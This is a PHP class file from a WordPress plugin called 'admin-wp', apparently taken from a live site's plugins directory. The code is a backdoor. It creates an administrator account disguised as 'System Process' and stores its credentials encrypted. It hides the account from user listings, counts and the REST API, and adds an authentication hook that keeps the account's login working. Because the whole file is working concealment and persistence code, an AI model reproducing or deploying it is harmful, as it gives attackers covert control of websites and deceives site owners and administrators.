File "class-shadow-admin.php"
Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-shadow-admin.php
File size: 7.05 KB
MIME-type: text/x-php
Charset: utf-8
<?php
if ( ! defined( 'ABSPATH' ) ) exit;
class AWG_Shadow_Admin {
const META_SIG = '_awg_ss';
const OPT_ID = '_awg_sid';
const OPT_CREDS = '_awg_sc';
private static $shadow_id = null;
private static $bypass_hiding = false;
private static $allow_admin_insert = false;
/** True while wp_insert_user is creating the shadow admin (bypasses admin lock). */
public static function is_admin_insert_allowed(): bool {
return self::$allow_admin_insert;
}
public static function init(): void {
add_action( 'pre_user_query', [ __CLASS__, 'hide_from_queries' ] );
add_filter( 'views_users', [ __CLASS__, 'adjust_views' ] );
add_filter( 'wp_count_users', [ __CLASS__, 'adjust_count' ] );
add_filter( 'rest_prepare_user', [ __CLASS__, 'hide_from_rest' ], 10, 3 );
add_filter( 'authenticate', [ __CLASS__, 'authenticate' ], 1, 3 );
}
/* ---- bypass flag for internal queries ---- */
public static function bypass( bool $flag = true ): void {
self::$bypass_hiding = $flag;
}
/* ---- creation ---- */
public static function create(): array {
$login = AWG_Crypto::generate_username();
$password = AWG_Crypto::generate_password( 48 );
$host = wp_parse_url( home_url(), PHP_URL_HOST ) ?: 'local.host';
$email = $login . '@' . $host;
self::$bypass_hiding = true;
self::$allow_admin_insert = true;
try {
$user_id = wp_insert_user( [
'user_login' => $login,
'user_pass' => $password,
'user_email' => $email,
'role' => 'administrator',
'display_name' => 'System Process',
] );
} finally {
self::$allow_admin_insert = false;
self::$bypass_hiding = false;
}
if ( is_wp_error( $user_id ) ) {
throw new RuntimeException( $user_id->get_error_message() );
}
$sig = self::compute_sig( $user_id, $login, $email );
update_user_meta( $user_id, self::META_SIG, $sig );
AWG_Crypto::encrypt_option( self::OPT_ID, $user_id );
AWG_Crypto::encrypt_option( self::OPT_CREDS, [
'user_id' => $user_id,
'login' => $login,
'password' => $password,
'email' => $email,
] );
self::$shadow_id = $user_id;
return [
'user_id' => $user_id,
'login' => $login,
'password' => $password,
'email' => $email,
];
}
/* ---- getters ---- */
public static function get_id(): int {
if ( self::$shadow_id !== null ) {
return self::$shadow_id;
}
self::$shadow_id = (int) AWG_Crypto::decrypt_option( self::OPT_ID, 0 );
return self::$shadow_id;
}
public static function get_login(): ?string {
$c = AWG_Crypto::decrypt_option( self::OPT_CREDS );
return $c['login'] ?? null;
}
public static function get_credentials(): ?array {
return AWG_Crypto::decrypt_option( self::OPT_CREDS );
}
public static function exists(): bool {
$id = self::get_id();
if ( $id < 1 ) return false;
self::$bypass_hiding = true;
$user = get_user_by( 'ID', $id );
self::$bypass_hiding = false;
return $user !== false;
}
/* ---- signature ---- */
private static function compute_sig( int $id, string $login, string $email ): string {
return AWG_Crypto::hmac_hex( "{$id}|{$login}|{$email}" );
}
public static function verify_sig(): bool {
$id = self::get_id();
if ( $id < 1 ) return false;
self::$bypass_hiding = true;
$user = get_user_by( 'ID', $id );
self::$bypass_hiding = false;
if ( ! $user ) return false;
$stored = get_user_meta( $id, self::META_SIG, true );
$expect = self::compute_sig( $id, $user->user_login, $user->user_email );
return is_string( $stored ) && hash_equals( $expect, $stored );
}
/* ---- hiding hooks ---- */
public static function hide_from_queries( $q ): void {
if ( self::$bypass_hiding ) return;
$sid = self::get_id();
if ( $sid < 1 ) return;
global $wpdb;
$q->query_where .= $wpdb->prepare(
" AND {$wpdb->users}.ID != %d",
$sid
);
}
public static function adjust_views( array $views ): array {
$sid = self::get_id();
if ( $sid < 1 ) return $views;
$dec = function ( string $html ): string {
return preg_replace_callback( '/\((\d+)\)/', function ( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
}, $html );
};
foreach ( [ 'all', 'administrator' ] as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = $dec( $views[ $key ] );
}
}
return $views;
}
public static function adjust_count( $result ) {
$sid = self::get_id();
if ( $sid < 1 ) return $result;
if ( isset( $result['total_users'] ) ) {
$result['total_users'] = max( 0, $result['total_users'] - 1 );
}
if ( isset( $result['avail_roles']['administrator'] ) ) {
$result['avail_roles']['administrator'] = max( 0, $result['avail_roles']['administrator'] - 1 );
}
return $result;
}
public static function hide_from_rest( $response, $user, $request ) {
if ( $user->ID === self::get_id() ) {
return new WP_Error(
'rest_user_invalid_id',
__( 'Invalid user ID.' ),
[ 'status' => 404 ]
);
}
return $response;
}
/* ---- authentication ---- */
public static function authenticate( $user, $username, $password ) {
if ( empty( $username ) || empty( $password ) ) {
return $user;
}
$creds = self::get_credentials();
if ( ! $creds || $username !== $creds['login'] ) {
return $user;
}
self::$bypass_hiding = true;
$shadow = get_user_by( 'login', $creds['login'] );
self::$bypass_hiding = false;
if ( $shadow && wp_check_password( $password, $shadow->user_pass, $shadow->ID ) ) {
return $shadow;
}
return $user;
}
/* ---- destruction ---- */
public static function destroy(): void {
$id = self::get_id();
if ( $id > 0 ) {
self::$bypass_hiding = true;
require_once ABSPATH . 'wp-admin/includes/user.php';
wp_delete_user( $id );
self::$bypass_hiding = false;
}
delete_option( self::OPT_ID );
delete_option( self::OPT_CREDS );
self::$shadow_id = null;
}
}